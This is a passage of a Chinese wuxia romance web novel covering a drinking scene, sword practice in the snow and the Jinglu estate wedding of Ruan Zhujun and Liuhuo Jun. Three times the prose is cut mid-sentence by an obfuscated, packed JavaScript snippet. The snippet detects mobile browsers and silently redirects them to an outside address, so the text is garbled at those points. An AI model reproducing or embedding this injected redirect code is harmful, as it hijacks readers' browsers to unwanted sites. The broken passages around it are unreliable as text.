两人轻轻碰杯,共同品尝。果然镜麓到处是好东西,饶是不胜酒力的顾婉妤也对这酒十分喜爱,一饮而尽,温和暖润,唇齿留香。 两人自斟自饮,观赏着静谧的雪景,怡然自得。 但喝着喝着,顾婉妤便有点醉了。 也不怪她酒量浅薄,这女儿红的度数确实有点高,又被其甘甜香味掩盖,她没留神,不知不觉中便喝多了。 崔煜川眼见着顾婉妤开始犯困,倦倦地在小案几上撑着脑袋,便知道她醉了。他轻叩案几,提醒她天气寒冷,不然在这里打瞌睡,赶快回房休息,却未得到回应。 崔煜川感到奇怪,凑近一看,顾婉妤竟是已经闭上了眼睛,呼吸平稳地坠入梦乡,他不免感到好笑。 他不欲打扰顾婉妤香甜的睡眠,准备将她抱回房。但真要伸出手触碰她时,崔煜川又觉得手足无措。 他知道,自己有些过于胆怯了,当时那一个突然的吻,也是顾婉妤睡懵了主动吻上来的,他作为男子,分明清楚自己的心意,应当更加主动,却迟迟不敢表明一切。 或许是因为如今的处境尚还窘迫,也或许是因为想对她更加珍惜慎重,总之,不管原因如何,他都该承认自己回避的态度有一天也许会伤害到顾婉妤。 崔煜川轻轻拨开顾婉妤额前糊在脸上的发丝,动作轻柔,像对待一件珍宝。 他该如何自处,又该拿她如何是好?她是自由自在的鸟儿,他却身处群狼环伺的泥潭。若是留她在身边,对她来说是否又是一件好事? 崔煜川想起皇帝对他的态度,现在这个多疑又敏锐的兄长开始挖掘他身上的价值,毫不顾忌地利用着他。对他而言,纵使可以趁此机会施展作为,在朝堂中打拼寻找出属于自己的位置,但难保不准哪天又会触怒到皇帝兄长,从云端跌入尘泥。 这些都是说不准的,甚至不完全由他控制。朝堂中属于原武家一派的臣子们的态度和动向、崔晏桓在边关的战绩、甚至还有常年居家的武娴的表现与言辞,这些额外的因素同样带来了许多不确定性。 崔煜川想——至少不是现在。他想给顾婉妤的,并非是这样的生活。 他轻轻地搀扶起顾婉妤,让她靠在自己的臂弯里,让醉眼迷蒙的她倚着自己慢慢回房。 安置好顾婉妤,他又一个人回了庭院。独自饮酒,心思苦涩,这酒的味道感觉也有些变化了。 正当无聊之时,只听得楼外空中传来一丝异动的声响,似乎有人偷偷翻进来了。崔煜川放下酒杯,不动声色地摸出身上藏着的防身暗器。 却有一道许久未听见的清澈俊朗的声音传来:“呦,煜王。” 听见这颇有辨识度的嗓音,崔煜川的暗器又滑入衣中。 “来做什么。”他举起酒杯,淡淡地询问穿着黑色夜行衣宛如做贼般溜进院子的流火君,此人都已经成为庄主,仍是一身偷鸡摸狗的盗贼气质,真是令人有些无言。 “找你喝酒。”流火君提着酒坛一屁股坐在崔煜川的对面,一下挡了他大半看雪色的视野,“大半夜不睡觉搁这喝闷酒啊?不如对饮来得痛快!” "你呢?"崔煜川看他几眼,有些疑惑,“婚期在即,怎么还这般逍遥?” 流火君摆摆手,露出个一言难尽的表情:“唉!别提了别提了,这婚结得到底对不对,我心里还没底呢。” 此言一出,崔煜川便更困惑了。 他与流火君相识时间不久,二人的关系不算熟识,但即便是这样他也知道流火君对阮竹君的情意。现在流火君可以得偿所愿,抱得美人归,怎么还能说出这种话呢? 他打量一下眼前这个郁郁寡欢地倒酒的年轻男子,总也不像是个见异思迁、朝秦暮楚的。他便问道:“何出此言?” 流火君摇晃了一下杯中酒,一饮而尽,舒了口气,才说:“她好像还是不喜欢我,只是为了镜麓庄才嫁与我,这不成了政治婚姻?太不对味,不高兴!” 崔煜川想了想,劝慰他:“阮竹君不像是会为这种缘由委屈自己的女子,至少她不反感你。” “她要是反感我还得了。”流火君郁闷地趴上案几,“那我还不如死了算了!” 这不算完,他像喝醉了般继续絮絮叨叨地倒着苦水:“这镜麓庄主做着也忒没意思,天天一堆人指责我这做得不好,那不够庄重。可我本来也不是做庄主的这块料,有本事当初别在天下大比上推我出头啊。” 崔煜川闷了口酒:“这差事,好多人都羡慕。” “我可不管别人是怎么想的,我就想和喜欢的女人——”流火君想了想,斩钉截铁道,“浪迹天涯,快意恩仇!这才不负此生。” 崔煜川有些恍惚,年少时谁没做过这样的梦? 可惜他自己也回不去了。 他们两还真对坐喝起闷酒来,分明是两个个性截然不同的人,居然也能聊到一起。 说到底也是因为,两人心中都还保留着许多少年意气,彼此可以理解对方的想法。 “你娘——做得不对,她再逼你——你也干不过皇帝!”流火君喝高了,说话开始大舌头起来。 “孝为百善先。”崔煜川也垂着头,喃喃地轻声说,“我有什么好办法。” 两人对饮不加收敛,一不小心便喝多了。 “唉,不喝了不喝了!喝酒误事,明儿还得……还得干什么来着?” 流火君挠挠头,摇摇晃晃站起身来。 “你走吧。”崔煜川撑着自己沉重的脑袋,冲他摆摆手。 “这就走了。” 流火君醉成这样了,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109543|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功还是丝毫不含糊,几息之间便彻底不见了踪影。崔煜川坐在原地醒了好一会儿酒,方才回房间睡去。 朝堂、江湖……纵使权柄在握,志得意满,谁又逃得脱漩涡和藩篱? 顾婉妤倒是好好睡了一觉,清早神清气爽地起来,下到院子里看无痕的落雪,却发现赏雪阁的案几上放了好多坛喝空的酒。 ? 崔煜川昨夜一个人喝了这么多? 怪不得现在还不见人影。 顾婉妤还不知道崔煜川是这么贪杯的人,怀着这样的误解,她踏出这处独立的院落,独自跑去找阮竹姐玩。 阮竹君素来用功,扛起镜麓重担后,更是晨兴夜寐,每天一早就起来处理事务。 昨日她在乾坤楼用完早饭后,便去接待前来沟通药材采购的药商队伍。镜麓出产的药材中有不少奇珍异宝,因此定期便有药商组团前来实地考察,沟通采购方案。她亲自接待,带领药商队伍一一介绍品类,又去峰谷实地查看长势与品相,忙了一上午,好容易歇了会,又去亲自决策成亲仪式的各项用度和规格。 晚间还有她给自己制定的学习计划,请了老师为她授课。 今日,阮竹君也是计划得满满当当,不过很快她的计划便被早餐时间跑进来冲她撒娇的顾婉妤打破了。 最终,阮竹君推了其余一干事宜,陪顾婉妤上山采摘灵花。 顾婉妤说,镜麓特产的七灵花艳而不俗,娇嫩优美,与红色装饰搭在一起格外好看,正适宜成亲时使用。 阮竹君便依了她,两个人如寻常农家少女一般,穿着轻便又暖和的衣着跑上了山,亲手采摘。 其实,若只是采摘成亲所用的花朵,唤镜麓庄内专门负责灵植的弟子即可,顾婉妤非要和阮竹姐一起亲手采摘,主要是看阮竹姐太累了,想带她出来放松一番。 二人说说笑笑,心情放松。阳关照进山峰谷地,雪中沐浴着光的灵花便显得格外鲜妍。她们一路摘了许多特别饱满好看的花朵,填满了篮子。 花摘得差不多了,她们便找了雪化之后的空地,铺上棉垫坐下休息,喝着热茶暖身子。 顾婉妤捧着茶杯侧视阮竹姐,觉得她一如当初,仍是那般淡雅美丽的少女,如今居然都要成婚了,不禁半是感叹,半是调皮地问:“阮竹姐,马上就要成亲,现下是什么感觉呢?” “没有什么特别的感觉,”阮竹君莞然一笑,“好像一切都不会改变。” “能娶到你,想必流火君都要得意忘形了。”顾婉妤托腮笑道,“对他来说,肯定特别不一样。” “这次你可想错了,”阮竹君吹动茶杯中漂浮的茶叶,不紧不慢地呷了一口,才说,“他正和我闹脾气,不想结婚呢。” “为什么?”顾婉妤睁大了眼睛。 “他觉得我不爱他,只是为了镜麓庄未来的发展才安排亲事。”阮竹君放下茶杯,温柔地弯起眼睛,“他说的没错,我的确是为了将镜麓庄掌控于自己手中,所以才认为必须要与他成亲,否则我可能会终身不嫁吧。” 49. 玉树琼枝(4) 年轻的女孩,对于爱情的幻想总是“一生一世一双人”的忠贞与郑重,是“死生契阔,与子成说”的执着与宿命。 因此,当听到阮竹姐这样说时,顾婉妤心中不免弥漫起一种淡淡的遗憾与痛惜,她沉默着摆弄篮子里娇美的花朵,这些花儿寄托了她对阮竹姐的婚姻的美好期许,那么美丽动人。 实际摸上去却冷冰冰的冻手。 两人之间安静了一会儿,阮竹姐依然是温柔地笑着,好像她对这些事并不在意。 顾婉妤却仍不死心:"阮竹姐,你对流火君,难道没有一点动心吗?" “若是这样,我都不想参加你们的婚礼了,”她嘟起嘴,轻轻地抱怨,“我希望你能幸福地、心满意足地踏入婚姻,而不是说着为了镜麓庄,便这样嫁了人。” 阮竹君发出“咯咯”的笑声,她伸直了腿,放松地在垫子上躺下,眯起眼睛。 “也并非完全没有动心,只是,似乎还缺乏许多契机,能让我确信这辈子就是这个人。”阮竹君晒着太阳,缓缓地说,“好像一切都发展得太快了,但偏偏感情尚未水到渠成。” 顾婉妤抱膝坐在她旁边,半晌才护短道:“哼,就是流火君的错,他不成熟,不够让阮竹姐爱上。” 阮竹君便笑得更大声了。 笑够了,阮竹君又说:“婉妤,你一定要找到那个你值得托付满腔感情的人,我希望你这一生都能被爱围绕、为爱而活。” 顾婉妤眼眶有点热了,她抱紧膝盖,突然哽咽道:“阮竹姐,我现在开始讨厌镜麓庄了,我才想起来,你对权势根本没有兴趣的,当初你是主动离开,后来却被强行留下,你说你是为了掌控镜麓,是为了权势,我却只能看到你心中的责任感,你是为着守护镜麓,才……才……” 她擦掉眼眶里的泪水,咽下哽咽声:“你这样,流火君也不会开心的,怪不得流火君那么喜欢你却为了这门亲事开始闹脾气,原来是这样。” “我太迟钝了,姐姐,”顾婉妤自责,“镜麓庄的担子如此重,你们二人何时才能离开这里,过上真正喜欢的生活?” 阮竹君摇摇头,笑容中透着许多无奈与感慨:“人生因缘际会便是这样复杂,想得多了只会自伤。” 两人在山中坐了好一会,才回到庄内。 “不必为了我们的事情如此介怀。”分别时,阮竹君摸了摸顾婉妤的脑袋,这样温柔地嘱咐她。 顾婉妤心中却仍是不好受。 她恍惚地走回了居住的院落。 要说命运,当真是奇怪的东西,这镜麓庄是江湖中势力最强盛的一支,庄主之位更被无数人趋之若鹜,可偏偏落入两个对它视如草芥的人手中。 而这两人之间的感情,若未掺杂这些复杂的事情,想必迟早会开出纯洁美丽的花朵,如今却令人味同嚼蜡,生生被破坏了其应有的生命力与美感。 因着这些烦恼,她一整天凝眉不展,夜里也辗转反侧,睡得不好。 心中总有一些郁滞之感,闷闷地堵在胸口,让她感到压抑,很想彻底地发泄情绪。 她躺不住了,干脆一骨碌爬起来,提了楼中装饰用的宝剑便冲到院子里舞剑。 她舞剑不仅是演习剑招,还用上了真气,簌簌的剑气在不知何时开始飘落的小雪中纷飞,在周围那些黑色的树干上也留下深深浅浅的刻痕。 她越舞越起劲,感觉身体逐渐轻盈,胸中的郁气也发了出来。 这院中的动静吵醒了睡眠本就浅的崔煜川,他推开窗子,静静瞧着风雪中舞剑的少女,没有问她是何缘由深夜不睡,反常地练起剑来。 他大概知道是为什么。 自与流火君喝过酒后,他心中隐约便明白此二人面对的困境了。顾婉妤对阮竹君视如亲姐姐,她自然会为他们难过。 崔煜川看了好一会顾婉妤舞剑,雪越下越大了,院中人的身影却显得如此单薄。 她总是这样,为着别人的事情付出许多真心实意,她自己却从不给别人添麻烦,好像永远不知疲倦地释放着善意与爱意。 这让他无法不感动、不疼惜。 崔煜川捞起厚实的锦裘,抄起自己的佩剑,急匆匆地下了楼。他来到院子时,看到顾婉妤的黑发上已经落满了雪。 “诶?”顾婉妤见他下来,很是吃惊,“你被我吵醒了吗?” 崔煜川边摇头边走上来给她披衣服:“并非如此,我只是睡着睡着,突然想练剑了。” 他还给顾婉妤展示了一下腰间的佩剑,以示来意。 顾婉妤才不信呢,但她此时的确很需要他的陪伴,她紧紧握住锦裘的边缘,便握住了那份珍贵的温暖:“那一起吧。” 二人当真在深夜的雪中练起剑。 崔煜川见招拆招地帮顾婉妤喂着剑招,敬业地做好了陪练的职责,使她能尽情地活动。 “你好像变得更厉害了。”顾婉妤赞赏道。 “这段时间的确有修习苦练。” 一回合结束,顾婉妤认真地说:“能与你这样厉害的人交手,我觉得很幸运。” “心满意足了吗?”崔煜川含笑地看着她,收剑回鞘,还摸了摸她被风吹得冰冷的脸颊,“回去睡觉吧。” 顾婉妤感受一下,现在只觉得通体舒畅,胸中那些郁气不知何时已经消散得无影无踪。她点点头,与崔煜川一起回到温暖的小楼中。 此后的一段时间,顾婉妤便天天拉着崔煜川练剑,好似逮到这么一个水平出众的陪练便再也不肯放手。 崔煜川也尽情地陪她练习,教了她许多剑招。 两人在这奢华的镜麓庄内,反而过上了清修般的生活。但如此一来,的确觉得心中的郁闷少了很多。 毕竟,阮竹君与流火君所面临的问题目前仍是无解,他们旁人再操心也没有用处,不如干脆置之脑后吧。 园院之外,镜麓庄逐渐置办起喜庆的装饰,客人们也陆续到访 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122854|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,结亲的气氛日益浓厚。 终是到了成亲之日。 镜麓庄的这场婚礼,其规格与用具皆是按照最华贵奢侈的标准所置办,不可谓不郑重盛大。但以是否符合传统习俗的眼光来看,却显得有些简单,毕竟一门亲事不仅是两位新人之间的事情,也是两个家族之间的结亲。但这场婚礼之前,无纳采、祭祖等流程,只是在镜麓庄的功德堂内祭拜了历任庄主。 但这也是没有法子的事情,因为阮竹君与流火君皆是无父无母的孤儿,他们本就缺乏家族及祖先的庇护。 既然如此,庄内众人就打定主意要把仪式办大,填补这些令人遗憾的空缺,于是天刚蒙蒙亮,乾坤楼背后的镜麓最高峰上的法坛,便已经预备好了祭拜天地的所有事宜。 顾婉妤和崔煜川站在观礼的人群中,穿着厚实的外衣抵御山崖上的狂风。他们小声说着悄悄话,顾婉妤好奇地问:“是不是皇族结婚也需要祭拜天地?” “若是像这样专门到祭坛举办的仪式,只有皇帝才需要。”崔煜川回答,“你看我以后就用不着这些。” “哦,”顾婉妤感慨,“不愧是镜麓庄,那皇帝要是知道了,不会生气吧。” 崔煜川默默想象了一下,觉得以皇帝多疑又敏感的个性,说不准还真的会不高兴:“有可能,但他应该不会知道,这天下那么多事等着他去管呢,谁没事跟他说这个。” 要是搁以前,李行所掌管的秘应司有可能会把这些事向皇帝参上,但现在李行已倒,秘应司也日薄西山,朝中便再无这样以管窥天、见风使舵的特务机构了。 新娘子与新郎官要在日出之前抵达法坛,趁着日照山峦的第一缕光祭拜天地神灵。此时时间将近了,便听得远远有气势磅礴宏大的乐声传来。 在他们步行而来的阶梯两侧,是安排好鼓吹奏乐的乐师们。他们所演奏的乐谱专为典礼祭祀所用,因此恢弘庄重,拥有震撼人心的力量。 顾婉妤在人群中踮起脚尖、屏住呼吸,看到上山阶梯的尽头,穿着凤冠霞帔的阮竹姐出现了。 今日的她很美,以红色与金色妆点作配,华美富贵得不可方物。那是一种摄魂夺魄的艳丽的美,比最珍奇鲜妍的花还要更胜一筹。 顾婉妤眼神发直,完全看呆了,阮竹姐这样又威严又娇艳的样子,带着无与伦比的攻击性与顾盼生姿的?娉婷,简直是天下最美丽的新娘,也是当之无愧的镜麓庄之主。 一旁的崔煜川也由衷感慨:“惊世之花。” 是的,镜麓灵山宝地多珍奇,终是浇灌出了惊世之花。 另一边,流火君作为阮竹君的身边之人,同样气势极盛。他本就长得俊美无俦,正经起来还是很像样的。此番与阮竹君携手同行,徐徐走向祭坛,他双眼炯炯有神,步伐坚定,已有了君临江湖的气势和姿态。 二人步上祭坛,在法台前站定。便有主持祭祀典礼的祭司宣读祭文,祈愿婚姻幸福美满,镜麓昌盛不衰。 50. 玉树琼枝(5) 祭文念完后,便是点香作揖,将那特制的柱形香烛插入祭炉之中。 素净又悠远的味道随着山风扩散。 祭司走到他们身旁,各取了一丝长发,交缠到金镶白玉的小巧玉璧上,扬手投入茫茫的山川天地之中。 做完这一切,祭祀典礼便宣告终结。流火君牵着阮竹君先退场,其余宾客则前往宴会场地。 对于绝大多数应邀前来的客人,他们此行最大的目的其实是交际酬酢,借镜麓的声望与影响力结识江湖上有头有脸的人物。 于是婚宴现场便十分热闹,许多人往来敬酒,觥筹交错。 崔煜川作为朝堂新秀的煜王爷,自然也被许多人硬凑上来搭话攀谈。可惜这里大多数是江湖人士,非要交谈,也没什么好说的,大抵就是客气闲聊几句,混个脸熟。一开始崔煜川还耐着性子应酬,后来便坐不住了,主动拉着在一旁吃点心的顾婉妤跑到宴席场的外面躲清静。 因为新人无需接亲,正式的婚礼仪式是在黄昏进行,镜麓庄便为客人们安排了不少活动,不仅有一整天源源不断的宴席品尝,还可以到庄中游玩一些游戏,仿佛节日庆典。 两人为了找点事情做,便去看看都有什么好玩的,顾婉妤手里还捧着一笼鲜虾煎,边走边吃,看着十分嘴馋的样子。 崔煜川笑她和庄里的小孩一样,却被顾婉妤眼疾手快地反手塞了一只到嘴里。他嚼了两下,感觉味蕾大开,承认镜麓庄大厨水平高超,走得太急,出来之前应该再顺走些吃的。 他们走着走着便来到了飞花令的席旁,这里一看便是精心布置,很有雅趣,不仅在这冬日里有鲜花扎成的花束锦簇在长桌与坐垫边,还搭起了山水屏风,屏风前有抚琴人演奏动听乐曲,也有热情的镜麓弟子招呼他们入席游玩。 顾婉妤看着席上各色精致餐食,闻到了空气里香醇的味道,与崔煜川对视一眼,便默契地一起入了席。 席间已经有不少人,大都穿着风雅,言辞得体,气氛与酒席大不一样。 顾婉妤对面坐了个容姿貌美、肤色雪白的公子,让顾婉妤颇为在意地多看了好几眼,实在是此人白得异于常人,阳光晒在他的脸上,简直像是能发光到刺目。他的头发也泛着淡黄淡金的色泽,如那些异邦来客一般。 顾婉妤头一回见这样的人,忍不住偷偷地看,但马上就被发现了。那公子回视过来,倒不在意,只怡然自得地冲她点了点头。 崔煜川也瞧见对方了,他愣了愣,有些似曾相识之感,却想不起来。加上瞧不出对方的年纪,也不好贸然开口询问,便没有作声。 这时,镜麓庄的弟子走了过来,招呼众人:“诸位贵客,此处为游玩飞花令的筵席,今日请不要拘束,尽兴饮酒取乐。相逢何必曾相识,既欢聚于此雅席,可见交浅缘深,率性纵情,方不负相聚之欢。” “今日行令,以席上任意一样东西作诗词,且在句的顺序需依次往下,说不出来,便该吃酒。” 众人兴致勃勃,开始打量讨论起席上有什么东西可用以吟诗作对。 “那我先来抛砖引玉,”这位镜麓弟子拈起手边一朵淡白的花,“花自飘零水自流。” 说罢,他便将这朵花递给顾婉妤对面的那位公子。 此人接过花,顺手便别在衣襟上,又从容地举起酒杯:“绿酒初尝人易醉。” 下一人用筷子夹起一片云片糕:“骊宫高处入青云。” 这句对得好,与这糕点的名字格外贴合,引得众人赞叹其巧思。 能放着别处那么多有趣活动不去,在此处饮酒作对的,果然都是爱诗之人,个个都颇有实力。 即便如此,飞花令难度不低,还是有许多人遭了殃,作不出对子便只好让醇酒一杯一杯地下肚。 顾婉妤也遇到了难题,她眼神在席间梭巡,又找不到可放在诗句第六个字的东西。正在为难之际,对面的公子突然夹了一筷子鱼肉,吸引了她的目光。 “桃花流水鳜鱼肥!”顾婉妤突然灵光一现,顺利地念出诗句,逃过一杯酒。 崔煜川却没那么好运了,想不出诗只好再饮一杯,幸好他酒量好,一杯酒也算不得什么。 一局飞花令下来,人人都酒足饭饱,果真是吃得畅快、喝得尽兴,玩闹一番彼此之间的距离也近了。 顾婉妤和崔煜川打算离席到别处看看,临走前,顾婉妤特意向对面的公子道了谢。 “无妨,”他主动喝了不少酒,坐姿随性地斜靠在坐垫上,摆摆手,“我与你二人有些渊源,叫我柳舜即可。” 柳舜? 听到这个名字,崔煜川便知道此人原来是揽月楼的老板,当初他在揽月楼面见探子,是得到柳老板的默许,算是承了对方的人情。 今日一见,原来传说肤白胜雪、容颜永驻的柳老板这样好相处。 柳舜此人年纪不小了,与他们坐在一起好像同龄人,也是有趣,怪不得别人说他像妖精。 而且是妖精头目,大妖精老板带了揽月楼里面一群摄人心魄的貌美小妖精,上京城有诸如此类的流言。 于是崔煜川便拱了拱手,两人心照不宣。 顾婉妤却不知道柳舜究竟是谁,于是她只点点头,客气道:“多谢柳公子。” 离开飞花令的筵席后,他们又去了其他地方玩耍,比如投壶、猜字谜等等。顾婉妤和崔煜川毕竟还是少年心性,这些活动简直为他们量身打造,最适合让他们玩得开心。 就这样在庄内逛了一天,快到黄昏娶亲之时,两人回了办仪式的正厅,等待成亲仪式的开始。 婚者,谓黄昏时行礼,故曰婚。此时阴阳结合,万物平衡,最是婚嫁吉时。 当山外暖洋洋的夕照透入宏大的建筑物,洒下半片光明、半片阴影,便到了仪式开始的时候。 因没有迎亲和送亲的环节,这场婚礼便显得格外干净利落,厅堂外放了鞭炮,便见新郎与新娘牵着红绸大花,并肩走了进来。 两人的服饰与清晨祭祀时穿着的不同,是正统的大红婚服,袍面宽大豪华,缓缓走来,衣摆如伞花披散,美轮美奂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138386|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮竹君戴着精致的盖头,看不见其下的面容。但她不像一般新娘是低垂着脑袋的,而是微微昂头,显得精神很好,肢体舒展。 顾婉妤看了,便觉得宽心很多。 流火君的状态也出人意料地好,他昂首挺胸、志得意满,一点也没有不情愿结婚的样子。 顾婉妤甚至从那张熟悉的脸上品出了点陌生的暗爽之意。 她和崔煜川对视一眼,两人窃窃私语。 “看流火君蛮高兴的啊。”顾婉妤小声说。 “可能两人说开了吧,看他的样子比清晨时要开朗些。”崔煜川饶有兴味地点评道。 流火君牵着阮竹君,两人在高堂之下站定,准备拜堂。 高堂之上并无父母和长辈,甚至都没有镜麓庄历任长老和庄主的牌位,只放了两把空椅子。这种情况是很少见的,顾婉妤想想,却觉得这样的选择很好。 他们两人一路成长全凭自己的本事,要说给予帮助的长辈,也都已经仙去,不拘泥于现世空洞的礼仪规则,两把空椅子,反而能代表许多值得感激的人,甚至可以代表他们自己。 “一拜天地——” 天地造化,万物养人。 “二拜高堂——” 养育之恩,没齿难忘。 “夫妻对拜——” 执子之手,与子成说。 “礼成!” 礼成之后,宽大的宴厅内便热热闹闹地开了席。 顾婉妤感觉自己放肆吃了一天,但是还能继续吃。 拜完堂的新夫妇没有入洞房,而是留在宴厅里,甚至阮竹姐盖着红盖头也能与宾客交谈答谢,姿态大方得体,毫不羞怯,当真是女中豪杰。 顾婉妤频频回头,看得出来阮竹姐很想直接把碍事的红盖头掀了。 估计要不是礼制难违,阮竹姐压根都不会盖着盖头成亲。 流火君那边,则是喜上眉梢,想他得偿所愿,娶了心爱之人,合该就是这个状态。 新夫妇很快便来到了顾婉妤他们这桌。 “阮竹姐,”顾婉妤握住她柔软的双手,开心地上下摇晃“恭喜!” 阮竹君却笑着问她:“今日玩得尽兴吗?准备了好多游戏,想着你和煜王会喜欢。” “喜欢!”顾婉妤惊喜极了,冲她撒娇,“原来是你为我们准备的,我们玩得好开心!” 崔煜川也上前道谢:“阮竹姐唤我煜川即可,今日很有意思。” 新人繁忙,他们不欲多打扰,便让阮竹姐和流火君继续敬酒去了。 婚宴一直持续到很晚,顾婉妤也没发现阮竹姐和流火君是什么时候回去洞房的,她和崔煜川随意地聊着天,也在席间结识了不少有意思的江湖人士,说着话,听着许多江湖轶事,时间便很快过去了。 月上中天,她和崔煜川终于尽兴而归,一路哼着歌往小院走。 走到半路,却有山门处守夜的镜麓弟子急匆匆地寻来,叫住顾婉妤,说有人找。 是谁这时候来找她?顾婉妤困惑地停下脚步。